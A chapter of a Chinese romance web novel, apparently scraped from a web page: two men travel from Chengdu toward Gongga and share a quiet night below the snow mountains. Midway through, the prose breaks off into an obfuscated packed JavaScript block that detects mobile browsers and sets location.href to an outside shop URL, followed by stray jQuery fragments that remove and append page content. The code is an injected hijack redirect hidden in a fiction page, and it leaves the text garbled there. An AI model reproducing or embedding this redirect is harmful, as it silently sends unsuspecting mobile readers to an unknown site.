火车在第二天傍晚抵达成都。
沈叙醒来的时候，窗外已经换了天地。那些熟悉的丘陵和平原不见了，取而代之的是越来越高的山，越来越深的谷，偶尔闪过一条湍急的河流，水是那种混着泥沙的灰绿色，翻滚着往前奔去。
他揉了揉眼睛，发现陆时砚正看着窗外，侧脸被夕阳镀上一层暖金色的光。
“快到了。”陆时砚说。
沈叙凑过去，顺着他的目光往外看。远处，天边有一排隐隐约约的轮廓，比云高，比天蓝，像是用最细的笔在画布上勾勒出来的线条。
那是雪山。
沈叙盯着那些线条，心里涌起一阵说不清的感觉。他活了二十多年，见过高楼大厦，见过车水马龙，见过凌晨四点的写字楼和深夜两点的便利店，但从没见过这样的山。
那么远，又那么近。那么高，又那么静。
陆时砚握着他的手，没说话。
火车进站的时候，天已经黑了。两人拖着行李走出车站，被一股热浪迎面扑来。成都的夏天比村里热得多，空气黏糊糊的，混着火锅味、人声、车鸣，还有各种各样说不上来的气息。
沈叙站在广场上，有点恍惚。
陆时砚看了看手机，说：“订的酒店在附近，走过去十五分钟。”
沈叙点点头，跟在他后面。
两人穿过人群，走过天桥，拐进一条小巷子。巷子不宽，两边是老旧的居民楼，一楼开着各种各样的小店——卖面的，卖水果的，卖杂货的，还有一家招牌都歪了的理发店。昏黄的灯光从店里透出来，把路面照得斑驳陆离。
酒店是一家青旅改造的小客栈，前台是个扎着丸子头的姑娘，正捧着手机看剧。看见他们进来，抬头瞄了一眼，目光在他们脸上转了一圈，又在他们交握的手上停了一秒。
“订房了吗？”她问，陆时砚报了名字，姑娘在电脑上敲了几下，然后把房卡推过来：“三楼，306。楼梯在那边。”
陆时砚接过房卡，道了声谢。
姑娘又瞄了他们一眼，忽然笑了：“去川西的吧？这几天好多去那边的都住我们这儿。”
“嗯。”
“路上小心啊，那边海拔高，注意高反。前几天有个小哥回来，说在四千多米的地方吐了三天。”
“谢谢提醒。”
两人爬上三楼，找到306。一张双人床，一个衣柜，一张小桌子，窗户外面是巷子和对面楼的阳台。很干净，被子叠得整整齐齐，床头柜上放着一小盆绿萝。
陆时砚把行李放下，回头看他：“累不累？”沈叙摇了摇头，走过去，站在窗边往外看。
巷子里有人在收摊，把白天摆出来的那些东西一件一件搬回屋里。对面楼的阳台上晾着衣服，被风吹得轻轻晃动。远处传来模糊的汽车声和人声，混在一起，分不清是什么。
陆时砚走过来，站在他旁边：“想什么呢？”
沈叙说：“在想那个姑娘说的话。”
陆时砚转头看他。
沈叙说：“她说有人吐了三天。四千多米。”
陆时砚没说话，只是看着他示意他继续说。
“我以前最高只上过写字楼的三十二层。不知道高原反应是什么感觉。”他顿了顿，转头看向陆时砚，“但我想试试。”
陆时砚看着他那双认真的眼睛，嘴角慢慢勾起。
“好。”他说。
两人下楼吃饭，巷子口有一家串串店，门脸不大，但里面坐满了人，热气腾腾的，香味飘出去老远。他们找了个角落的位置坐下，老板娘拎着一壶茶过来，用四川话问他们吃什么。
陆时砚点了一堆东西，沈叙也听不懂是什么，就跟着点头。
等菜的功夫，他看着周围那些吃得热火朝天的人，“你以前来过成都吗？”说完又想骂自己，没来过这么拍的照片？
陆时砚点头：“来过几次。中转，或者拍完片子下来休整。”
沈叙问：“一个人？”
陆时砚想了想，说：“有时候一个人，有时候和别人一起。”
沈叙知道那个“别人”是谁，陆时砚看着他那副想问又忍住的样子，“想问什么就问。”
沈叙想了想，说：“你们那时候，也住这种地方吗？”
陆时砚点头：“嗯。穷，住不起好的。有时候还住过青旅的上下铺，八个人一间那种。”
沈叙想象了一下陆时砚住八人间的情景，有点想笑。
“那现在呢？”他问。
陆时砚看着他，眼睛里有光：“现在有你了，不住八人间了。”
菜上来了，满满一桌子。牛肉、郡肝、毛肚、黄喉、藕片、土豆、豆皮，还有一堆沈叙叫不出名字的东西，全都串在竹签上，红彤彤的，泡在翻滚的辣油里。
陆时砚教他怎么吃——先把串串放进锅里烫，烫熟了拿出来，在干碟里蘸一下，然后撸下来吃。
沈叙学着做，第一口下去，辣得眼泪都出来了，陆时砚递给他一瓶豆奶。
沈叙灌了半瓶下去，缓过气来，看着陆时砚慢条斯理地吃，一口一口，表情平静，像在吃白粥。
“你不辣吗？”他问。
陆时砚说：“还好。”
沈叙看着他，“你以前是不是经常吃这个？”
陆时砚点头：“下山之后，每次都会来一顿。又辣又烫，吃着就觉得，自己还活着。”
沈叙听着这话，心里忽然有点酸，不可自拔地想象着他以前一个人下山，一个人来这种小店，一个人坐在角落里，吃着一桌子的辣，用这种方式告诉自己还活着。
他伸手，握住了陆时砚放在桌上的那只手。
陆时砚愣了一下，抬头看他，看了一会儿才反手握住他的。
两人就这样吃完了那顿饭，一只手在桌上，一只手在桌下，十指相扣。
回去的路上，巷子里已经安静下来了。大部分店铺关了门，只剩下几盏路灯还亮着，把路面照得昏黄昏黄的。偶尔有电动车经过，车灯一晃，然后消失在巷子尽头。
沈叙走了一会儿，忽然说：“我有点紧张。”
陆时砚转头看他。
沈叙看着前方的路，说：“……拍不好。你想拍的那组照片，等了这么久。我怕我帮不上忙，怕我拖你后腿，怕万一有什么意外——”
陆时砚停下脚步，沈叙也停下来，转头看他。
路灯的光落在陆时砚脸上，把他的轮廓照得很柔和，眸间是温柔底色，“你知道我为什么想重拍那组照片吗？”
沈叙摇头。
陆时砚说：“因为我想看看，现在拍出来的东西，和以前有什么不一样。”他看着沈叙的眼睛，“以前拍的时候，只有我一个人。镜头里只有山、雪、云。好看，但却点东西，就像那个粉丝说的。”
“现在有你。镜头里的东西，会不一样。”
沈叙听着那些话，心里涌起一阵潮水似的东西，又暖又满，涨得眼眶有点酸。
回到客栈，爬上三楼，推开306的门。
房间里开着窗，晚风吹进来，把窗帘吹得轻轻晃动。对面楼的灯已经灭了，只剩下远处几盏路灯还亮着，把微弱的光送进屋里。
第二天早上，天还没亮，两人就起来了。
洗漱，收拾行李，最后检查一遍装备。沈叙把那顶从村里带来的帽子戴上，陆时砚看了他一眼，嘴角弯起来。
“挺好看。”
沈叙被他夸得有点不好意思，低头假装整理背包。
六点整，他们站在巷口。一辆白色的越野车停在路边，司机是个晒得黝黑的汉子，看见他们，按了按喇叭。
陆时砚走过去，和司机打了个招呼。司机帮他们把行李放进后备箱，沈叙看见后座上已经坐了一个人，是个年轻女孩，戴着眼镜，正捧着手机看什么。
女孩看见他们，“你们也是去贡嘎的？”
陆时砚点点头。
女孩眼睛亮了：“太好了！我一个人，正愁没人说话呢！”
沈叙和陆时砚对视一眼，坐进车里。
车子发动了，慢慢驶出巷子，驶上大路，驶向城外。
天一点一点亮起来，东边的云被染成橘红色，太阳慢慢升起来，把整个世界都照亮了。
沈叙看着窗外，看着那些越来越远的楼房，越来越近的山。
陆时砚握着他的手。
女孩在后座叽叽喳喳地说着什么，说她是个摄影师，说她第一次去高原，说她期待这次旅行很久了。沈叙听着，偶尔应一两句，大部分时候只是看着窗外。
车子开上高速，往西，往高原，往他们要去的地方。
沈叙看着那些越来越高的山，心里涌起一阵奇怪的感觉。
像是期待，又像是紧张。像是兴奋，又像是平静。
他说不清楚。
中午的时候，他们在服务区休息。女孩去买泡面，沈叙和陆时砚坐在长椅上，看着那些同样去高原的人来来往往。有背着巨大登山包的，有穿着冲锋衣戴着墨镜的，有拖着行李箱穿着裙子的，各种各样的人，去各种各样的地方。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305533|198711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
沈叙忽然问：“你第一次去的时候，是什么感觉？”
陆时砚想了想，说：“紧张。兴奋。怕自己拍不好。但现在想起来，那时候拍的那些，其实也挺好。虽然不如后来那些成熟，但有那时候的东西。”
沈叙听着，没说话，陆时砚转头看他，“你拍的第一张照片，还记得吗？”
沈叙微微怔神，然后想起来了。他拍的第一张照片，是那天站在院子里，对着那棵老槐树按下的快门。那时候他连相机都不会用，只是听陆时砚说“按这里”，就按了一下。
那张照片拍得怎么样，他不知道。但陆时砚说“还行”。
他。
陆时砚看着他那副笑，没问笑什么，只是握紧他的手。
女孩端着泡面回来，看见他们这样，感慨：“你们感情真好。”
沈叙有点不好意思，但陆时砚面不改色，只是点了点头。
吃完饭，继续上路。
路越来越险，弯越来越多，山越来越近。车子在盘山公路上绕来绕去，一边是悬崖，一边是峭壁。沈叙看着窗外，手心有点出汗。
陆时砚握着他的手，拇指在手背上轻轻摩挲：“怕？”
沈叙点头：“有一点。”
陆时砚说：“我第一次走这种路的时候，也怕。”
沈叙转头看他。陆时砚看着窗外，侧脸很平静。
“后来走多了，就不怕了。知道这条路虽然险，但能过。知道只要小心点，就不会有事。”他转头看向沈叙，“而且现在有你，更不怕了。”
沈叙看着他那双眼睛，心里那点害怕慢慢散开了。
他握紧陆时砚的手。
车子继续往前开，往更高更远的地方，傍晚的时候，他们到了第一个垭口。
海拔四千三百米。
车子停下来，让乘客下车拍照。沈叙推开车门，一股冷风扑面而来，带着雪的气息，还有一点稀薄的感觉。
那些他只在照片里见过的山，现在就立在他面前。山顶有雪，雪在夕阳下泛着金色的光，像是燃烧的火焰。
云从山腰流过，一团一团的，慢慢移动。偶尔露出一角冰川，蓝得不像真的。
他站在那里，被风吹着，被光照着，被那些山看着。
陆时砚走过来，站在他旁边。
沈叙想说什么，但都说不出来。
陆时砚也没说话。
两人就这样站着，看着眼前的一切，大自然的造物。
过了很久，沈叙说：“我拍一张吧。”
陆时砚转头看他。
沈叙从口袋里掏出手机，举起来，对着陆时砚。
他说：“我说过，要给你拍一张。”
陆时砚看着他那副认真的样子，轻笑一声，他转过身，面对那些山，站在夕阳和风中。
沈叙按下快门。
咔嚓一声，画面定格。
后来，那张照片被沈叙设成了手机屏保。
照片里，陆时砚站在垭口上，身后是连绵的雪山，夕阳把他的轮廓镀上一层金色。他的嘴角微微弯着，眼睛看着远方，像是看着什么很美好的东西。
沈叙每次看到这张照片，都会想起那一天。
他们一起站在四千三百米的地方，第一次看见那些山，他给他拍了第一张照片。
晚上，他们住在山脚下的小旅馆里。
房间很小，只有一张床，一床被子。窗户外面能看见雪山的影子，在月光下泛着淡淡的光。
沈叙躺在床上，听着窗外呼呼的风声，心里很安静。
陆时砚在旁边，呼吸很轻。
“明天能看到吗？”
“看运气。”
沈叙想了想，说：“一定能看到。”
陆时砚转头看他，沈叙看着天花板，嘴角弯着。
“因为你想看。你想看的，就一定能看到。”
陆时砚神色微动，他靠过来，在沈叙嘴角亲了一下。
沈叙愣了一下，然后伸手，把他揽进怀里。
两人就这样抱着，听着窗外的风声，看着窗外雪山的影子。
陆时砚蓦地开口：“沈叙。”
沈叙应了一声。
陆时砚说：“谢谢你。”
沈叙问：“谢什么？”
陆时砚沉默了一会儿，然后说：“谢谢你陪我。”
沈叙把他抱紧了一点，“不是陪你。”他说，“是和你一起。”
窗外，风还在吹，雪山的影子还在那里，静静的等着明天。